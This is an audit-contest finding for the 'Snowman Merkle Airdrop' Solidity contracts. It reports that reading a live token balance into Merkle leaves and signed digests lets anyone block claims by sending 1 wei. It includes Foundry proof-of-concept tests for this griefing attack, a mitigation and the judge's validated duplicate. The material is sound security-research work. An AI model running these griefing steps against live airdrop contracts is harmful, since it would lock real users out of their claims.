Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Use of mutable on-chain `balanceOf` for Merkle leaves and signatures

Summary

claimSnowman() and getMessageHash() derive amount from i_snow.balanceOf(receiver) at runtime; the Merkle leaf and the signed digest therefore depend on a mutable on-chain balance.

Root cause

Using balanceOf() (a variable, on-chain value that can change) to form authoritative amounts for proofs and signatures rather than fixed snapshot values.

function claimSnowman(...) external nonReentrant {
// ...
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(
bytes.concat(keccak256(abi.encode(receiver, amount)))
);
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
// ...
}
function getMessageHash(address receiver) public view returns (bytes32) {
// ...
uint256 amount = i_snow.balanceOf(receiver);
return
_hashTypedDataV4(
keccak256(
abi.encode(
MESSAGE_TYPEHASH,
SnowmanClaim({receiver: receiver, amount: amount})
)
)
);
}

Impact

An attacker (or even a normal account) can change balanceOf() (by sending small amounts) to invalidate signatures or Merkle leaves or cause unexpected rejections; this can be used for subtle DoS or to create confusion/inconsistency.

Likelihood

easy to manipulate balances in many token contracts.

PoC

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
contract TestSnowmanAirdrop is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
bytes32 public ROOT =
0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
// Proofs
bytes32 alProofA =
0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB =
0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC =
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
bytes32 bobProofA =
0x51c4b9a3cc313d7d7325f2d5d9e782a5a484e56a38947ab7eea7297ec86ff138;
bytes32 bobProofB =
0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 bobProofC =
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] BOB_PROOF = [bobProofA, bobProofB, bobProofC];
bytes32 clProofA =
0x0065f7c9c934093ee1c4d51b77e77ad69d1c21351298d21cc720df18a39412f5;
bytes32 clProofB =
0xe4f70a2d0da3e6c29810b3eb84deeae82d06479d602b0e64225458c968f98cc1;
bytes32 clProofC =
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] CL_PROOF = [clProofA, clProofB, clProofC];
bytes32 danProofA =
0xc7c84a70b50ff4103e9a8b3a716b446a138a507fc1b65ebdfae38439e52b2612;
bytes32 danProofB =
0xe4f70a2d0da3e6c29810b3eb84deeae82d06479d602b0e64225458c968f98cc1;
bytes32 danProofC =
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] DAN_PROOF = [danProofA, danProofB, danProofC];
bytes32 eliProofA =
0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32 eliProofB =
0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32 eliProofC =
0xd7ed3892547c15a926b49d400e13fefe2c9f08de658f08b09925d5790383e978;
bytes32[] ELI_PROOF = [eliProofA, eliProofB, eliProofC];
// Multi claimers and key
address alice;
uint256 alKey;
address bob;
uint256 bobKey;
address clara;
uint256 clKey;
address dan;
uint256 danKey;
address eli;
uint256 eliKey;
address satoshi;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
(bob, bobKey) = makeAddrAndKey("bob");
(clara, clKey) = makeAddrAndKey("clara");
(dan, danKey) = makeAddrAndKey("dan");
(eli, eliKey) = makeAddrAndKey("eli");
satoshi = makeAddr("gas_payer");
}
function testUnexpectedSnowBalance() public {
// Attacker send 1 wei to alice
address attacker = makeAddr("attacker");
uint buyFee = snow.s_buyFee();
vm.deal(attacker, buyFee);
vm.startPrank(attacker);
snow.buySnow{value: buyFee}(1);
snow.transfer(alice, 1);
vm.stopPrank();
// Alice claim test
vm.prank(alice);
snow.approve(address(airdrop), 1);
// Get alice's digest
bytes32 alDigest = airdrop.getMessageHash(alice);
// alice signs a message
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
// satoshi calls claims on behalf of alice using her signed message
vm.prank(satoshi);
vm.expectRevert();
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
}
}

Mitigation

Use fixed snapshot amounts encoded in the Merkle tree and signed messages (pass amount as an argument to claimSnowman and validate it against the leaf/signature rather than re-querying balanceOf).

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.  ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!